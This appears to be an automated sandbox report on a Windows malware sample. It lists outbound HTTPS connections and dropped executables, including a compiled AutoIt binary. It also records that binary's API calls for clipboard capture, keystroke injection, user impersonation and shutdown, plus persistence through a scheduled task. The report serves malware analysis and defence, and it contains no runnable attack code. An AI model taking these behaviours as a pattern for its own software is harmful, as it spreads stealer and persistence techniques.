Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.69.239.74:443 -> 192.168.2.5:50128 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EBEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

7_2_00EBEAFF

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EBED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

7_2_00EBED6A

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

7_2_00EBEAFF

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EAAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

7_2_00EAAA57

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00ED9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

7_2_00ED9576

System Summary

Binary is likely a compiled AutoIt script file

Source: cb428cafc9.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: cb428cafc9.exe, 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_fd86ad50-3
Source: cb428cafc9.exe, 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f7384abe-b
Source: cb428cafc9.exe, 0000001A.00000000.2802596566.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_fe66c846-9
Source: cb428cafc9.exe, 0000001A.00000000.2802596566.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a76fefa2-f
Source: cb428cafc9.exe, 00000045.00000002.4394162441.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2e4cdd46-a
Source: cb428cafc9.exe, 00000045.00000002.4394162441.0000000000F02000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_4e032653-8
Source: cb428cafc9.exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_3f994fc1-7
Source: cb428cafc9.exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0736a084-9
Source: random[1].exe.6.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_94b46917-1
Source: random[1].exe.6.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_27459c0f-2

PE file contains section with special chars

Source: xwZfYpo16i.exe	Static PE information: section name:
Source: xwZfYpo16i.exe	Static PE information: section name: .idata
Source: xwZfYpo16i.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 4db5303091.exe.6.dr	Static PE information: section name:
Source: 4db5303091.exe.6.dr	Static PE information: section name: .rsrc
Source: 4db5303091.exe.6.dr	Static PE information: section name: .idata
Source: 4db5303091.exe.6.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EAD5EB: CreateFileW,DeviceIoControl,CloseHandle,

7_2_00EAD5EB

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EA1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

7_2_00EA1201

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

Code function: 7_2_00EAE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

7_2_00EAE8F6

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E48060	7_2_00E48060
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EB2046	7_2_00EB2046
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00EA8298	7_2_00EA8298
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E7E4FF	7_2_00E7E4FF
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E7676B	7_2_00E7676B
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00ED4873	7_2_00ED4873
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E4CAF0	7_2_00E4CAF0
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E6CAA0	7_2_00E6CAA0
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E5CC39	7_2_00E5CC39
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E76DD9	7_2_00E76DD9
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E5D071	7_2_00E5D071
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E491C0	7_2_00E491C0
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E5B119	7_2_00E5B119
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E61394	7_2_00E61394
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E61706	7_2_00E61706
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E6781B	7_2_00E6781B
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E619B0	7_2_00E619B0
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E5997D	7_2_00E5997D
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E47920	7_2_00E47920
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E67A4A	7_2_00E67A4A
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E67CA7	7_2_00E67CA7
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E61C77	7_2_00E61C77
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E79EEE	7_2_00E79EEE
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00ECBE44	7_2_00ECBE44
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: 7_2_00E61F32	7_2_00E61F32

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Code function: String function: 006445C0 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Code function: String function: 00E5F9F2 appears 40 times
